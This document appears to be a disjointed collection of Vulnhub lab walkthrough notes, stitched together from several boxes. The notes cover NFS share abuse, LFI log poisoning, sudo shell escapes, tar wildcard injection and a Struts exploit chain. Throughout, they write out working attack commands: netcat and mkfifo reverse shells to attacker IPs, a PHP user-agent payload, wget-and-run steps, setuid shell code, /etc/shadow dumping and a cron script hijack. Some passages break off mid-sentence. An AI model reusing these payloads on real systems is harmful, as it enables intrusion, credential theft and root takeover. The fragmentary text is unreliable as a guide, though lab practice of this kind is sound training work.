My Practice on Vulnhub boxes
netdiscover -r ip nmap -p- -sV ip /pChart2.1.3/index.php - vulnerable - searcsploit lfi
Since we have an LFI and we know that the server is running Apache, let’s search for the apache config file. After checking this, I managed to find the httpd.config file.

useradd -u 2008 vulnix
mount -t nfs ip:/home/vulnix /tmp/mnt -nolock
Let’s generate keys for SSH so we can login into vulnix!
Create ssh key pair by running ssh-keygen. Create .ssh directory on the mounted share /home/vulnix/.ssh. Copy the content of the public key to /home/vulnix/.ssh. SSH into [email protected]victim_ip
Also due to the fact that there’s a secure_path set, we can’t manipulate the PATH variable (except by running sudo -e which we can’t).
Let’s edit the file and update /home/vulnix so we’re able to
Restart the VM and remount the shared directory. We can upload a local exploit to gain root, or just copy /bin/bash and give it setuid permissions.
We’ll run bash with -p flag to keep the original file’s permissions.
mount -t nfs 192.168.1.72:/home/vulnix /tmp/mnt
cp /bin/bash . chmod 4777 bash
ls -al ./bash -p
mkdir mnt && mount 192.168.22.134:/home/vulnix mnt -o vers=3
useradd -u 2008 vulnix
ssh -i id_rsa [email protected]
By using sudoedit /etc/exports, it’s possible to add another share into the export list, one which uses the no_squash_root option; which prevents root users being remapped to the nobody user:
/home/vulnix (rw,root_squash) /root (rw,no_root_squash)
mount 192.168.22.134:/root mnt -o vers=3

= no permission
Number Permission Type Symbol 0 No Permission --- 1 Execute --x 2 Write -w- 3 Execute + Write -wx 4 Read r-- 5 Read + Execute r-x 6 Read +Write rw- 7 Read + Write +Execute rwx
'764' absolute code says the following:
Owner can read, write and execute Usergroup can read and write World can only read
u user/owner g group o other a all
Adds a permission to a file or directory
Removes the permission
= Sets the permission and overrides the permissions set earlier.
Changing Ownership and Group For changing the ownership of a file/directory, you can use the following command:
chown user
In case you want to change the user as well as group for a file or directory use the command
chown user:group filename
User rights/Permissions The first character that I marked with an underscore is the special permission flag that can vary. The following set of three characters (rwx) is for the owner permissions. The second set of three characters (rwx) is for the Group permissions. The third set of three characters (rwx) is for the All Users permissions. Following that grouping since the integer/number displays the number of hardlinks to the file. The last piece is the Owner and Group assignment formatted as Owner:Group.

Hmm. What do we have here? /freeside/ looks interesting.
There’s another web-related port, 3000/tcp and ntopng is running behind it.
/turing-bolo/ has something that finally looks like an attack surface.
PHP Injection There’s a Local File Inclusion (LFI) vulnerability with the bolo parameter in bolo.php, demonstrated below.
All four files case.log, molly.log, armitage.log, and riviera.log are available on the server, indicating the presence of the LFI vulnerability.
How can I inject PHP into the server?
A quick search in Google for “postfix log location” seems to suggest the logs are at /var/log/mail.log. This plays well into our hands because of the .log extension. Let’s explore this path of attack. ip/bolo.php?bolo=../../../../var/log/mail

After encoding

Long story short. I notice /bin/screen is a symbolic link to /bin/screen-4.5.0, which is setuid to root. Like they always say, Google is your best friend.

This is a command interpreter (shell). So by running sudo ash we can get a root shell.

AWK is a special-purposeprogramming language designed for text processing and typically used as a data extraction and reporting tool. Since we can run awk using we sudo, we can easily escalate our privileges to root.
Bash is a Unix shell and command language. As with ash we can abuse our sudo rights to privesc.
[email protected]:~$ sudo bash
The Bourne shell (sh) is a shell, or command-line interpreter, for computer operating systems.
The C shell (csh or the improved version, tcsh) is a Unix shell. As with for example sh we can use it to escalate to root.
We can abuse curl in order to overwrite files as root. By creating a simple setuid binary on my machine, using curl to fetch the program and overwriting an already setuid binary owned by root on the target system, we can get a root shell.
Setuid binary#include <stdio.h>int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);}
Compile this program and start a python SimpleHTTPServer and go to the victim machine and fetch the file using curl.
Dash is an acronym for Debian Almquist shell (dash). It is a Unix and Linux shell which is much smaller than bash but still aiming at POSIX-compliancy. As with sh, bash etc. we just sudo dash and get a root shell.
ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files. But can also execute commands from inside ed. Beacuse of this, root shell is really straight forward.
env is a shellcommand for Linux, Unix, and Unix-like operating systems. It can be used to print a list of the current environment variables, or to run another program in a custom environment without modifying the current one.
Expect is a program that "talks" to other interactive programs according to a script. Following the script, expect knows what can be expected from a program and what the correct response should be.
Find is a command for recursively filtering objects in the file system based on a simple conditional mechanism. You can use find to search for a file or directory on your file system. Find do also have an exec parameter which we can abuse to escalate our privileges.
By issuing the command ftp without any parameters, we can run commands from within ftp.
We can execute commands from inside less. sudo less /etc/profile !/bin/sh
As above, we can execute commands from inside of man.
[email protected]:~$ sudo more /var/log/lastlog !/bin/sh
scp allows files to be copied to, from, or between different hosts. It uses ssh for data transfer and provides the same authentication and same level of security as ssh.
[email protected]:~$ TF=$(mktemp)[email protected]:~$ echo 'sh 0<&2 1>&2' > $TF[email protected]:~$ chmod +x "$TF"[email protected]:~$ sudo scp -S $TF x y:# whoami;id
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes - including giving us a root shell!
We can use the ProxyCommand option to spawn an interactive shell.
As with man etc. we can execute commands from inside of vi.
The Z Shell or zsh is an interactive UNIX shell and powerful command-line interpreter for scripting language including shell scripting. Since it's a interactive shell we can easily get a root shell.
Pico is a simple, display-oriented text editor based on the pine message composer.
Depending on how rvim was compiled, we can spawn a root shell. In this case rvim was compiled with Python support.
Since we can use perl with sudo, we can do the following to get a root shell.
Tclsh is a shell-like application that reads Tcl commands from its standard input or from a file and evaluates them.
We can abuse the help function of git to get code execution as root.
Script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. It is really useful and comes in handy in the strangest kind of times and places.
But this can obviously be abused to get a root shell.
Enumerating the box we find the following script running as a cronjob.
#!/bin/bashfor i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done
This is a backup script taking everything from a users home dir, compressing it using tar and saving it to /etc/backups.
The problem with tar is that when using wildcards an attacker can inject he's own arguments.
The following is taken from the man page (man tar):
--checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint
echo "mkfifo /tmp/0wned; nc 192.168.1.142 1337 0</tmp/0wned | /bin/sh > /tmp/0wned 2>&1; rm /tmp/0wned" > shell.shecho "" > "--checkpoint-action=exec=sh shell.sh"echo "" > --checkpoint=1
Now we setup a listener on our machine and wait for the cronjob to execute.
Looking at the home folders we see susan. Listing all files - including hidden files - we find .secret.
[email protected]:/home/susan$ cat .secret MySuperS3cretValue!
[email protected]:/home/susan$ su - susan Password: [email protected]:~$ whoami;id susan
Enmerating the machine for setuid binaries we find the following:
xxd is owned by root and the setuid bit is set. By running this program we will run in the context of root, possibly giving us a way to escalate our privileges. It can however only be ran by root or members of the group "itservices" - exactly the group susan is a member of!
Let's dump /etc/shadow!
Doing a nmap scan against the machine reveals that NFS is running. Let's first see if we can find any open shares which we can mount.
Awesome! Let's mount the share to /mnt/peter.
mount 192.168.1.140:/home/peter /mnt/peter
Looking at the UID and GID we see 1001/1005. This mean that I don't have that specific group and user on my system, so even if the share now is mounted I can't write files to the share.
To circumvent this, let's create a user with a UID of 1001 and a group with the GID 1005, and then change to that user and try to write a file.
So, how do we utilize this to escalate to peter? How about generating a SSH key and adding that to peter's authorized_keys? Let's try.
Let's first generate a new SSH key.
Now, let's create a .ssh directory inside peter's home directory (on the share) and add the public key we just generated to authorized_keys.
pwd mkdir .ssh touch .ssh/authorized_keys cat /home/peter/.ssh/id_rsa.pub > .ssh/authorized_keys ssh [email protected]
Looking at the groups peter is added to we see docker. This is a really powerful group and there's ton of information on the internet on how to privesc using the docker group.
The Docker Hub already have an image which we can use to get a root shell, called "rootplease".

After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly.
export PATH=/bin:/usr/bin:$PATHexport SHELL=/bin/bash:$SHELLsudo -l/usr/bin/gitsudo git help add!/bin/bash
So, I tried to login to this SSH service using the extracted credentials and I succeeded. But I can not run any Linux command. This happened because the shell is restricted shell. So, I tried to escape it using VI editor.

Therefore, I Quickly checked for LFI Vulnerability by obtaining the /etc/passwd file as shown below.
file=/var/log/ngnix/access.log Let’s capture the request of the Nginx Access log file using Burpsuite. Here we will be using LFI to exploit apache access log.
In place of the file path, we have injected a Code to get the command line access by making a GET request to the Server.
So, I tried to view many files like : /etc/passwd, /etc/shadow, & /var/log/nginx/access.log. I found that some of them can be viewed (passwd & access.log).
curl -A "<?=system('nc -nv ip 4444 -e /bin/bash');?>" http://ip/thankyou/php
To verify that it is working or not, we have added a new parameter to the URL i.e &cmd=id. Therefore from the output, it confirms we have successfully executed the command on the server. /var/log/ngnix/error.log&cmd=id

After starting tcpdump, in a new terminal, we connect to the target machine through SSH. Now we send a TCP packet to the 127.0.0.1 using netcat. We had to use this locally as we started tcpdump on the loopback interface.
As soon as we send the packet, our command is executed and we can see all the files inside “/root” directory. Inside “/root” directory, we find a file called “flag.txt”. We are again going to use tcpdump command to open “flag.txt” and are able to get the final flag.
COMMAND='cat /root/flag.txt'TF=$(mktemp)echo "$COMMAND" > $TFchmod +x $TFsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
From here, I have to upload a reverse webshell to the server so that I can run commands and tried rooting it. There are many ways I can follow to do this, like using metasploit module (exploit/unix/webapp/wp_admin_shell_upload) or uploading it by editing the themes or Plugins “PHP” files.

I found an exploit for this on exploit-db https://www.exploit-db.com/exploits/42324, but to be able to make it call back with a shell I needed to forward a port the other way
[email protected]:/tmp# socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.56.101:6666 &[1] 20999And opened a listener for it[email protected]:~# nc -nvlp 6666python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666 -e /bin/bash"python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.212.3 6666"
I couldn't get any reverse shells to fire, and I suspected this was because Java Runtime didn't support linux piping etc. So I decided to transfer a file to execute and spawn the reverse shell, first I needed to expose my port 80 to the target so it could get the file
socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.56.101:80 &And then setup a file in /var/www/html called callback.sh which containedrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.3 6666 >/tmp/fapache2ctl startpython ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.212.3:8888/callback.sh -O /tmp/callback.sh"python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/callback.sh"python ./struts.py http://192.168.56.102:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/callback.sh"$ uname -aLinux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linuxhttps://www.exploit-db.com/exploits/44298gcc priv.c -o priv

Without wasting time, I had edited the rule for the request header for x-forwarded-for: localhost in the burp suite and try to intercept the web page request along this.
And finally, you will be able to access the web page for the Ceban Corp company as said by the author. On this page I saw 4 captions that contain some hyperlink. Here I tried to figure out the possibilities for SQL injection and LFI but failed to bypass this.
Once I logged in, I saw another their three captions “Dashboard, Profile, logout”. The profile caption denoted user_id and for raj, it is showing user-id=12 in the URL.
In the given URL, I tried to change user_id from user_id=12 to user-id=1 and luckily I saw the profile for another user, then frequently found the profile for alice as user_id=5, Moreover, the password field was auto filed thus I was able to read the password from inside the inspect element.
Username: alice Password: 4lic3
Spawning shell Since we have enumerated credential for the user alice therefore, further I used this credential to access host machine shell through ssh.
Privilege Escalation Without wasting time, I looked for sudo rights and fortunately found that alice can run the php program as a sudo user. Then I start the netcat listener in a new terminal and run the php reverse shell command in the host terminal.

ftp 192.168.78.140 ftp> get lol.pcap
I took a guess and entered sup3rs3cr3tdirlol as a dir:
The binary appeared to just print “0x0856BF”, I entered this in the browser again - not expecting it to work.
I manually attempted a SSH brute force using the previously discovered usernames + password from Pass.txt. After several attempts the connection was refused via SSH, rebooting the target VM did not help - I suspected iptables, fail2ban / DenyHosts.
:# wget http://attacking-machine/exploits/enumeration/lin/linux-local-enum.sh -P /var/tmp/ && chmod 700 /var/tmp/linux-local-enum.sh && ./var/tmp/linux-local-enum.sh
Weak Filesystem Permissions The enumeration script identified the following world writable files:
/srv/ftp/lol.pcap/var/tmp/cleaner.py.swp/var/www/html/sup3rs3cr3tdirlol/roflmao/var/log/cronlog/lib/log/cleaner.pyEnumeration Findings/lib/log/cleaner.py was owned by root and executed by cron to clean out /tmp
Local Privilege Escalation From the attacking machine I downloaded an suid bin (spawns a shell) to /usr/bin/suid on the target.
Exploiting the poor filesystem permissions, I swapped out the contents of /lib/log/cleaner.py for:
#!/usr/bin/env pythonimport osimport systry:os.system('chown root:root /var/tmp/suid; chmod 4777 /var/tmp/suid')except:sys.exit()
========================================================
Some of the things I learned from this VM were enumeration, metadata collection, Shell Shock, SSH Private Keys, Buffer Over Flows/Priv Esc, and TO NEVER GIVE UP!!! This VM is super fun so lets jump right in!!!
